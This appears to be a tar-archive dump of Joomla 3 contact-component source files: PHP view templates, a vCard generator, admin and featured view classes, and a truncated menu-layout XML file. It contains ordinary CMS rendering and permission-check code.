 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

$tparams = $this->item->params;
?>

<div class="contact<?php echo $this->pageclass_sfx; ?>" itemscope itemtype="https://schema.org/Person">
	<?php if ($tparams->get('show_page_heading')) : ?>
		<h1>
			<?php echo $this->escape($tparams->get('page_heading')); ?>
		</h1>
	<?php endif; ?>

	<?php if ($this->contact->name && $tparams->get('show_name')) : ?>
		<div class="page-header">
			<h2>
				<?php if ($this->item->published == 0) : ?>
					<span class="label label-warning"><?php echo JText::_('JUNPUBLISHED'); ?></span>
				<?php endif; ?>
				<span class="contact-name" itemprop="name"><?php echo $this->contact->name; ?></span>
			</h2>
		</div>
	<?php endif; ?>

	<?php $show_contact_category = $tparams->get('show_contact_category'); ?>

	<?php if ($show_contact_category === 'show_no_link') : ?>
		<h3>
			<span class="contact-category"><?php echo $this->contact->category_title; ?></span>
		</h3>
	<?php elseif ($show_contact_category === 'show_with_link') : ?>
		<?php $contactLink = ContactHelperRoute::getCategoryRoute($this->contact->catid); ?>
		<h3>
			<span class="contact-category"><a href="<?php echo $contactLink; ?>">
				<?php echo $this->escape($this->contact->category_title); ?></a>
			</span>
		</h3>
	<?php endif; ?>

	<?php echo $this->item->event->afterDisplayTitle; ?>

	<?php if ($tparams->get('show_contact_list') && count($this->contacts) > 1) : ?>
		<form action="#" method="get" name="selectForm" id="selectForm">
			<label for="select_contact"><?php echo JText::_('COM_CONTACT_SELECT_CONTACT'); ?></label>
			<?php echo JHtml::_('select.genericlist', $this->contacts, 'select_contact', 'class="inputbox" onchange="document.location.href = this.value"', 'link', 'name', $this->contact->link); ?>
		</form>
	<?php endif; ?>

	<?php if ($tparams->get('show_tags', 1) && !empty($this->item->tags->itemTags)) : ?>
		<?php $this->item->tagLayout = new JLayoutFile('joomla.content.tags'); ?>
		<?php echo $this->item->tagLayout->render($this->item->tags->itemTags); ?>
	<?php endif; ?>

	<?php echo $this->item->event->beforeDisplayContent; ?>

	<?php $presentation_style = $tparams->get('presentation_style'); ?>
	<?php $accordionStarted = false; ?>
	<?php $tabSetStarted = false; ?>

	<?php if ($this->params->get('show_info', 1)) : ?>
		<?php if ($presentation_style === 'sliders') : ?>
			<?php echo JHtml::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'basic-details')); ?>
			<?php $accordionStarted = true; ?>
			<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', JText::_('COM_CONTACT_DETAILS'), 'basic-details'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'basic-details')); ?>
			<?php $tabSetStarted = true; ?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'basic-details', JText::_('COM_CONTACT_DETAILS')); ?>
		<?php elseif ($presentation_style === 'plain') : ?>
			<?php echo '<h3>' . JText::_('COM_CONTACT_DETAILS') . '</h3>'; ?>
		<?php endif; ?>

		<?php if ($this->contact->image && $tparams->get('show_image')) : ?>
			<div class="thumbnail pull-right">
				<?php echo JHtml::_('image', $this->contact->image, htmlspecialchars($this->contact->name,  ENT_QUOTES, 'UTF-8'), array('itemprop' => 'image')); ?>
			</div>
		<?php endif; ?>

		<?php if ($this->contact->con_position && $tparams->get('show_position')) : ?>
			<dl class="contact-position dl-horizontal">
				<dt><?php echo JText::_('COM_CONTACT_POSITION'); ?>:</dt>
				<dd itemprop="jobTitle">
					<?php echo $this->contact->con_position; ?>
				</dd>
			</dl>
		<?php endif; ?>

		<?php echo $this->loadTemplate('address'); ?>

		<?php if ($tparams->get('allow_vcard')) : ?>
			<?php echo JText::_('COM_CONTACT_DOWNLOAD_INFORMATION_AS'); ?>
			<a href="<?php echo JRoute::_('index.php?option=com_contact&amp;view=contact&amp;id=' . $this->contact->id . '&amp;format=vcf'); ?>">
			<?php echo JText::_('COM_CONTACT_VCARD'); ?></a>
		<?php endif; ?>

		<?php if ($presentation_style === 'sliders') : ?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_email_form') && ($this->contact->email_to || $this->contact->user_id)) : ?>
		<?php if ($presentation_style === 'sliders') : ?>
			<?php if (!$accordionStarted)
			{
				echo JHtml::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-form'));
				$accordionStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', JText::_('COM_CONTACT_EMAIL_FORM'), 'display-form'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php if (!$tabSetStarted)
			{
				echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-form'));
				$tabSetStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'display-form', JText::_('COM_CONTACT_EMAIL_FORM')); ?>
		<?php elseif ($presentation_style === 'plain') : ?>
			<?php echo '<h3>' . JText::_('COM_CONTACT_EMAIL_FORM') . '</h3>'; ?>
		<?php endif; ?>

		<?php echo $this->loadTemplate('form'); ?>

		<?php if ($presentation_style === 'sliders') : ?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_links')) : ?>
		<?php if ($presentation_style === 'sliders') : ?>
			<?php if (!$accordionStarted) : ?>
				<?php echo JHtml::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-links')); ?>
				<?php $accordionStarted = true; ?>
			<?php endif; ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php if (!$tabSetStarted) : ?>
				<?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-links')); ?>
				<?php $tabSetStarted = true; ?>
			<?php endif; ?>
		<?php endif; ?>
		<?php echo $this->loadTemplate('links'); ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_articles') && $this->contact->user_id && $this->contact->articles) : ?>
		<?php if ($presentation_style === 'sliders') : ?>
			<?php if (!$accordionStarted)
			{
				echo JHtml::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-articles'));
				$accordionStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', JText::_('JGLOBAL_ARTICLES'), 'display-articles'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php if (!$tabSetStarted)
			{
				echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-articles'));
				$tabSetStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'display-articles', JText::_('JGLOBAL_ARTICLES')); ?>
		<?php elseif ($presentation_style === 'plain') : ?>
			<?php echo '<h3>' . JText::_('JGLOBAL_ARTICLES') . '</h3>'; ?>
		<?php endif; ?>

		<?php echo $this->loadTemplate('articles'); ?>

		<?php if ($presentation_style === 'sliders') : ?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_profile') && $this->contact->user_id && JPluginHelper::isEnabled('user', 'profile')) : ?>
		<?php if ($presentation_style === 'sliders') : ?>
			<?php if (!$accordionStarted)
			{
				echo JHtml::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-profile'));
				$accordionStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', JText::_('COM_CONTACT_PROFILE'), 'display-profile'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php if (!$tabSetStarted)
			{
				echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-profile'));
				$tabSetStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'display-profile', JText::_('COM_CONTACT_PROFILE')); ?>
		<?php elseif ($presentation_style === 'plain') : ?>
			<?php echo '<h3>' . JText::_('COM_CONTACT_PROFILE') . '</h3>'; ?>
		<?php endif; ?>

		<?php echo $this->loadTemplate('profile'); ?>

		<?php if ($presentation_style === 'sliders') : ?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($tparams->get('show_user_custom_fields') && $this->contactUser) : ?>
		<?php echo $this->loadTemplate('user_custom_fields'); ?>
	<?php endif; ?>

	<?php if ($this->contact->misc && $tparams->get('show_misc')) : ?>
		<?php if ($presentation_style === 'sliders') : ?>
			<?php if (!$accordionStarted)
			{
				echo JHtml::_('bootstrap.startAccordion', 'slide-contact', array('active' => 'display-misc'));
				$accordionStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', JText::_('COM_CONTACT_OTHER_INFORMATION'), 'display-misc'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php if (!$tabSetStarted)
			{
				echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' => 'display-misc'));
				$tabSetStarted = true;
			}
			?>
			<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'display-misc', JText::_('COM_CONTACT_OTHER_INFORMATION')); ?>
		<?php elseif ($presentation_style === 'plain') : ?>
			<?php echo '<h3>' . JText::_('COM_CONTACT_OTHER_INFORMATION') . '</h3>'; ?>
		<?php endif; ?>

		<div class="contact-miscinfo">
			<dl class="dl-horizontal">
				<dt>
					<span class="<?php echo $tparams->get('marker_class'); ?>">
					<?php echo $tparams->get('marker_misc'); ?>
					</span>
				</dt>
				<dd>
					<span class="contact-misc">
						<?php echo $this->contact->misc; ?>
					</span>
				</dd>
			</dl>
		</div>

		<?php if ($presentation_style === 'sliders') : ?>
			<?php echo JHtml::_('bootstrap.endSlide'); ?>
		<?php elseif ($presentation_style === 'tabs') : ?>
			<?php echo JHtml::_('bootstrap.endTab'); ?>
		<?php endif; ?>
	<?php endif; ?>

	<?php if ($accordionStarted) : ?>
		<?php echo JHtml::_('bootstrap.endAccordion'); ?>
	<?php elseif ($tabSetStarted) : ?>
		<?php echo JHtml::_('bootstrap.endTabSet'); ?>
	<?php endif; ?>

	<?php echo $this->item->event->afterDisplayContent; ?>
</div>
com_contact/views/contact/tmpl/default_articles.php000060400000001441152453734460016635 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JLoader::register('ContentHelperRoute', JPATH_SITE . '/components/com_content/helpers/route.php');

?>
<?php if ($this->params->get('show_articles')) : ?>
<div class="contact-articles">
	<ul class="nav nav-tabs nav-stacked">
		<?php foreach ($this->item->articles as $article) : ?>
			<li>
				<?php echo JHtml::_('link', JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)), htmlspecialchars($article->title, ENT_COMPAT, 'UTF-8')); ?>
			</li>
		<?php endforeach; ?>
	</ul>
</div>
<?php endif; ?>
com_contact/views/contact/tmpl/default_profile.php000060400000002525152453734460016473 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>
<?php if (JPluginHelper::isEnabled('user', 'profile')) :
	$fields = $this->item->profile->getFieldset('profile'); ?>
	<div class="contact-profile" id="users-profile-custom">
		<dl class="dl-horizontal">
			<?php foreach ($fields as $profile) :
				if ($profile->value) :
					echo '<dt>' . $profile->label . '</dt>';
					$profile->text = htmlspecialchars($profile->value, ENT_COMPAT, 'UTF-8');

					switch ($profile->id) :
						case 'profile_website':
							$v_http = substr($profile->value, 0, 4);

							if ($v_http === 'http') :
								echo '<dd><a href="' . $profile->text . '">' . JStringPunycode::urlToUTF8($profile->text) . '</a></dd>';
							else :
								echo '<dd><a href="http://' . $profile->text . '">' . JStringPunycode::urlToUTF8($profile->text) . '</a></dd>';
							endif;
							break;

						case 'profile_dob':
							echo '<dd>' . JHtml::_('date', $profile->text, JText::_('DATE_FORMAT_LC4'), false) . '</dd>';
						break;

						default:
							echo '<dd>' . $profile->text . '</dd>';
							break;
					endswitch;
				endif;
			endforeach; ?>
		</dl>
	</div>
<?php endif; ?>
com_contact/views/contact/tmpl/default_links.php000060400000003231152453734460016146 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2009 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;
?>

<?php if ($this->params->get('presentation_style') === 'sliders') : ?>
	<?php echo JHtml::_('bootstrap.addSlide', 'slide-contact', JText::_('COM_CONTACT_LINKS'), 'display-links'); ?>
<?php endif; ?>
<?php if ($this->params->get('presentation_style') === 'tabs') : ?>
	<?php echo JHtml::_('bootstrap.addTab', 'myTab', 'display-links', JText::_('COM_CONTACT_LINKS')); ?>
<?php endif; ?>
<?php if ($this->params->get('presentation_style') === 'plain') : ?>
	<?php echo '<h3>' . JText::_('COM_CONTACT_LINKS') . '</h3>'; ?>
<?php endif; ?>

<div class="contact-links">
	<ul class="nav nav-tabs nav-stacked">
		<?php
		// Letters 'a' to 'e'
		foreach (range('a', 'e') as $char) :
			$link = $this->contact->params->get('link' . $char);
			$label = $this->contact->params->get('link' . $char . '_name');

			if (!$link) :
				continue;
			endif;

			// Add 'http://' if not present
			$link = (0 === strpos($link, 'http')) ? $link : 'http://' . $link;

			// If no label is present, take the link
			$label = $label ?: $link;
			?>
			<li>
				<a href="<?php echo $link; ?>" itemprop="url">
					<?php echo $label; ?>
				</a>
			</li>
		<?php endforeach; ?>
	</ul>
</div>

<?php if ($this->params->get('presentation_style') === 'sliders') : ?>
	<?php echo JHtml::_('bootstrap.endSlide'); ?>
<?php endif; ?>
<?php if ($this->params->get('presentation_style') === 'tabs') : ?>
	<?php echo JHtml::_('bootstrap.endTab'); ?>
<?php endif; ?>
com_contact/views/contact/view.vcf.php000060400000006225152453734460014103 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to create a VCF for a contact item
 *
 * @since  1.6
 */
class ContactViewContact extends JViewLegacy
{
	/**
	 * The item model state
	 *
	 * @var         \Joomla\Registry\Registry
	 * @deprecated  4.0  Variable not used
	 */
	protected $state;

	/**
	 * The contact item
	 *
	 * @var   JObject
	 */
	protected $item;

	/**
	 * Execute and display a template script.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		// Get model data.
		$item = $this->get('Item');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseWarning(500, implode("\n", $errors));

			return false;
		}

		JFactory::getDocument()->setMimeEncoding('text/directory', true);

		// Compute lastname, firstname and middlename
		$item->name = trim($item->name);

		// "Lastname, Firstname Midlename" format support
		// e.g. "de Gaulle, Charles"
		$namearray = explode(',', $item->name);

		if (count($namearray) > 1)
		{
			$lastname = $namearray[0];
			$card_name = $lastname;
			$name_and_midname = trim($namearray[1]);

			$firstname = '';

			if (!empty($name_and_midname))
			{
				$namearray = explode(' ', $name_and_midname);

				$firstname = $namearray[0];
				$middlename = (count($namearray) > 1) ? $namearray[1] : '';
				$card_name = $firstname . ' ' . ($middlename ? $middlename . ' ' : '') . $card_name;
			}
		}
		// "Firstname Middlename Lastname" format support
		else
		{
			$namearray = explode(' ', $item->name);

			$middlename = (count($namearray) > 2) ? $namearray[1] : '';
			$firstname = array_shift($namearray);
			$lastname = count($namearray) ? end($namearray) : '';
			$card_name = $firstname . ($middlename ? ' ' . $middlename : '') . ($lastname ? ' ' . $lastname : '');
		}

		$rev = date('c', strtotime($item->modified));

		JFactory::getApplication()->setHeader('Content-disposition', 'attachment; filename="' . $card_name . '.vcf"', true);

		$vcard = array();
		$vcard[] .= 'BEGIN:VCARD';
		$vcard[] .= 'VERSION:3.0';
		$vcard[]  = 'N:' . $lastname . ';' . $firstname . ';' . $middlename;
		$vcard[]  = 'FN:' . $item->name;
		$vcard[]  = 'TITLE:' . $item->con_position;
		$vcard[]  = 'TEL;TYPE=WORK,VOICE:' . $item->telephone;
		$vcard[]  = 'TEL;TYPE=WORK,FAX:' . $item->fax;
		$vcard[]  = 'TEL;TYPE=WORK,MOBILE:' . $item->mobile;
		$vcard[]  = 'ADR;TYPE=WORK:;;' . $item->address . ';' . $item->suburb . ';' . $item->state . ';' . $item->postcode . ';' . $item->country;
		$vcard[]  = 'LABEL;TYPE=WORK:' . $item->address . "\n" . $item->suburb . "\n" . $item->state . "\n" . $item->postcode . "\n" . $item->country;
		$vcard[]  = 'EMAIL;TYPE=PREF,INTERNET:' . $item->email_to;
		$vcard[]  = 'URL:' . $item->webpage;
		$vcard[]  = 'REV:' . $rev . 'Z';
		$vcard[]  = 'END:VCARD';

		echo implode("\n", $vcard);
	}
}
com_contact/views/contact/view.html.php000060400000010442152453734460014265 0ustar00<?php
/**
 * @package     Joomla.Administrator
 * @subpackage  com_contact
 *
 * @copyright   (C) 2008 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

/**
 * View to edit a contact.
 *
 * @since  1.6
 */
class ContactViewContact extends JViewLegacy
{
	/**
	 * The JForm object
	 *
	 * @var  JForm
	 */
	protected $form;

	/**
	 * The active item
	 *
	 * @var  object
	 */
	protected $item;

	/**
	 * The model state
	 *
	 * @var  object
	 */
	protected $state;

	/**
	 * Display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  A string if successful, otherwise an Error object.
	 */
	public function display($tpl = null)
	{
		// Initialise variables.
		$this->form  = $this->get('Form');
		$this->item  = $this->get('Item');
		$this->state = $this->get('State');

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			throw new Exception(implode("\n", $errors), 500);
		}

		// If we are forcing a language in modal (used for associations).
		if ($this->getLayout() === 'modal' && $forcedLanguage = JFactory::getApplication()->input->get('forcedLanguage', '', 'cmd'))
		{
			// Set the language field to the forcedLanguage and disable changing it.
			$this->form->setValue('language', null, $forcedLanguage);
			$this->form->setFieldAttribute('language', 'readonly', 'true');

			// Only allow to select categories with All language or with the forced language.
			$this->form->setFieldAttribute('catid', 'language', '*,' . $forcedLanguage);

			// Only allow to select tags with All language or with the forced language.
			$this->form->setFieldAttribute('tags', 'language', '*,' . $forcedLanguage);
		}

		$this->addToolbar();

		return parent::display($tpl);
	}

	/**
	 * Add the page title and toolbar.
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function addToolbar()
	{
		JFactory::getApplication()->input->set('hidemainmenu', true);

		$user       = JFactory::getUser();
		$userId     = $user->id;
		$isNew      = ($this->item->id == 0);
		$checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId);

		// Since we don't track these assets at the item level, use the category id.
		$canDo = JHelperContent::getActions('com_contact', 'category', $this->item->catid);

		JToolbarHelper::title($isNew ? JText::_('COM_CONTACT_MANAGER_CONTACT_NEW') : JText::_('COM_CONTACT_MANAGER_CONTACT_EDIT'), 'address contact');

		// Build the actions for new and existing records.
		if ($isNew)
		{
			// For new records, check the create permission.
			if ($isNew && (count($user->getAuthorisedCategories('com_contact', 'core.create')) > 0))
			{
				JToolbarHelper::apply('contact.apply');
				JToolbarHelper::save('contact.save');
				JToolbarHelper::save2new('contact.save2new');
			}

			JToolbarHelper::cancel('contact.cancel');
		}
		else
		{
			// Since it's an existing record, check the edit permission, or fall back to edit own if the owner.
			$itemEditable = $canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId);

			// Can't save the record if it's checked out and editable
			if (!$checkedOut && $itemEditable)
			{
				JToolbarHelper::apply('contact.apply');
				JToolbarHelper::save('contact.save');

				// We can save this record, but check the create permission to see if we can return to make a new one.
				if ($canDo->get('core.create'))
				{
					JToolbarHelper::save2new('contact.save2new');
				}
			}

			// If checked out, we can still save
			if ($canDo->get('core.create'))
			{
				JToolbarHelper::save2copy('contact.save2copy');
			}

			if (JComponentHelper::isEnabled('com_contenthistory') && $this->state->params->get('save_history', 0) && $itemEditable)
			{
				JToolbarHelper::versions('com_contact.contact', $this->item->id);
			}

			if (JLanguageAssociations::isEnabled() && JComponentHelper::isEnabled('com_associations'))
			{
				JToolbarHelper::custom('contact.editAssociations', 'contract', 'contract', 'JTOOLBAR_ASSOCIATIONS', false, false);
			}

			JToolbarHelper::cancel('contact.cancel', 'JTOOLBAR_CLOSE');
		}

		JToolbarHelper::divider();
		JToolbarHelper::help('JHELP_COMPONENTS_CONTACTS_CONTACTS_EDIT');
	}
}
com_contact/views/featured/view.html.php000060400000010721152453734460014431 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

use Joomla\Registry\Registry;

/**
 * Featured View class
 *
 * @since  1.6
 */
class ContactViewFeatured extends JViewLegacy
{
	/**
	 * The item model state
	 *
	 * @var    \Joomla\Registry\Registry
	 * @since  1.6.0
	 */
	protected $state;

	/**
	 * The item details
	 *
	 * @var    JObject
	 * @since  1.6.0
	 */
	protected $items;

	/**
	 * Who knows what this variable was intended for - but it's never been used
	 *
	 * @var         array
	 * @since       1.6.0
	 * @deprecated  4.0  This variable has been null since 1.6.0-beta8
	 */
	protected $category;

	/**
	 * Who knows what this variable was intended for - but it's never been used
	 *
	 * @var         JObject  Maybe.
	 * @since       1.6.0
	 * @deprecated  4.0  This variable has never been used ever
	 */
	protected $categories;

	/**
	 * The pagination object
	 *
	 * @var    JPagination
	 * @since  1.6.0
	 */
	protected $pagination;

	/**
	 * Method to display the view.
	 *
	 * @param   string  $tpl  The name of the template file to parse; automatically searches through the template paths.
	 *
	 * @return  mixed  Exception on failure, void on success.
	 *
	 * @since   1.6
	 */
	public function display($tpl = null)
	{
		$app    = JFactory::getApplication();
		$params = $app->getParams();

		// Get some data from the models
		$state      = $this->get('State');
		$items      = $this->get('Items');
		$category   = $this->get('Category');
		$children   = $this->get('Children');
		$parent     = $this->get('Parent');
		$pagination = $this->get('Pagination');

		// Flag indicates to not add limitstart=0 to URL
		$pagination->hideEmptyLimitstart = true;

		// Check for errors.
		if (count($errors = $this->get('Errors')))
		{
			JError::raiseWarning(500, implode("\n", $errors));

			return false;
		}

		// Prepare the data.
		// Compute the contact slug.
		for ($i = 0, $n = count($items); $i < $n; $i++)
		{
			$item       = &$items[$i];
			$item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id;
			$temp       = $item->params;
			$item->params = clone $params;
			$item->params->merge($temp);

			if ($item->params->get('show_email', 0) == 1)
			{
				$item->email_to = trim($item->email_to);

				if (!empty($item->email_to) && JMailHelper::isEmailAddress($item->email_to))
				{
					$item->email_to = JHtml::_('email.cloak', $item->email_to);
				}
				else
				{
					$item->email_to = '';
				}
			}
		}

		// Escape strings for HTML output
		$this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx', ''), ENT_COMPAT, 'UTF-8');

		$maxLevel         = $params->get('maxLevel', -1);
		$this->maxLevel   = &$maxLevel;
		$this->state      = &$state;
		$this->items      = &$items;
		$this->category   = &$category;
		$this->children   = &$children;
		$this->params     = &$params;
		$this->parent     = &$parent;
		$this->pagination = &$pagination;

		$this->_prepareDocument();

		return parent::display($tpl);
	}

	/**
	 * Prepares the document
	 *
	 * @return  void
	 *
	 * @since   1.6
	 */
	protected function _prepareDocument()
	{
		$app   = JFactory::getApplication();
		$menus = $app->getMenu();
		$title = null;

		// Because the application sets a default page title,
		// we need to get it from the menu item itself
		$menu = $menus->getActive();

		if ($menu)
		{
			$this->params->def('page_heading', $this->params->get('page_title', $menu->title));
		}
		else
		{
			$this->params->def('page_heading', JText::_('COM_CONTACT_DEFAULT_PAGE_TITLE'));
		}

		$title = $this->params->get('page_title', '');

		if (empty($title))
		{
			$title = $app->get('sitename');
		}
		elseif ($app->get('sitename_pagetitles', 0) == 1)
		{
			$title = JText::sprintf('JPAGETITLE', $app->get('sitename'), $title);
		}
		elseif ($app->get('sitename_pagetitles', 0) == 2)
		{
			$title = JText::sprintf('JPAGETITLE', $title, $app->get('sitename'));
		}

		$this->document->setTitle($title);

		if ($this->params->get('menu-meta_description'))
		{
			$this->document->setDescription($this->params->get('menu-meta_description'));
		}

		if ($this->params->get('menu-meta_keywords'))
		{
			$this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords'));
		}

		if ($this->params->get('robots'))
		{
			$this->document->setMetadata('robots', $this->params->get('robots'));
		}
	}
}
com_contact/views/featured/tmpl/default.php000060400000002155152453734460015116 0ustar00<?php
/**
 * @package     Joomla.Site
 * @subpackage  com_contact
 *
 * @copyright   (C) 2010 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::addIncludePath(JPATH_COMPONENT . '/helpers');

// If the page class is defined, add to class as suffix.
// It will be a separate class if the user starts it with a space
?>
<div class="blog-featured<?php echo $this->pageclass_sfx; ?>">
<?php if ($this->params->get('show_page_heading') != 0 ) : ?>
	<h1>
	<?php echo $this->escape($this->params->get('page_heading')); ?>
	</h1>
<?php endif; ?>

<?php echo $this->loadTemplate('items'); ?>

<?php if ($this->params->def('show_pagination', 2) == 1  || ($this->params->get('show_pagination') == 2 && $this->pagination->pagesTotal > 1)) : ?>
	<div class="pagination">

		<?php if ($this->params->def('show_pagination_results', 1)) : ?>
			<p class="counter">
				<?php echo $this->pagination->getPagesCounter(); ?>
			</p>
		<?php endif; ?>

		<?php echo $this->pagination->getPagesLinks(); ?>
	</div>
<?php endif; ?>
</div>
com_contact/views/featured/tmpl/default.xml000060400000032237152453734460015133 0ustar00<?xml version="1.0" encoding="utf-8"?>

<metadata>
	<layout title="COM_CONTACT_FEATURED_VIEW_DEFAULT_TITLE" option="COM_CONTACT_FEATURED_VIEW_DEFAULT_OPTION">
		<help
			key = "JHELP_MENUS_MENU_ITEM_CONTACT_FEATURED"
		/>
		<message>
			<![CDATA[COM_CONTACT_FEATURED_VIEW_DEFAULT_DESC]]>
		</message>
	</layout>




	<!-- Add fields to the parameters object for the layout. -->
<fields name="params">
	<fieldset name="advanced" label="JGLOBAL_LIST_LAYOUT_OPTIONS">

			<field
				name="spacer"
				type="spacer"
				label="JGLOBAL_SUBSLIDER_DRILL_CATEGORIES_LABEL"
				class="text"
			/>

			<field
				name="show_pagination_limit"
				type="list"
				label="JGLOBAL_DISPLAY_SELECT_LABEL"
				description="JGLOBAL_DISPLAY_SELECT_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

			<field
				name="show_headings"
				type="list"
				label="JGLOBAL_SHOW_HEADINGS_LABEL"
				description="JGLOBAL_SHOW_HEADINGS_DESC"
				useglobal="true"
				class="chzn-color"
				>
				<option value="0">JHIDE</option>
				<option value="1">JSHOW</option>
			</field>

		<field
			name="show_position_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_POSITION_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_POSITION_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_email_headings"
			type="list"
			label="JGLOBAL_EMAIL"
			description="COM_CONTACT_FIELD_CONFIG_EMAIL_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_telephone_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_PHONE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_PHONE_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_mobile_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_MOBILE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_MOBILE_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_fax_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_FAX_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_FAX_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_suburb_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_SUBURB_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_SUBURB_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_state_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_STATE_LABEL"
			description="COM_CONTACT_FIELD_CONFIG_STATE_DESC"
			useglobal="true"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>

		<field
			name="show_country_headings"
			type="list"
			label="COM_CONTACT_FIELD_CONFIG_COUNTRY_LABEL"
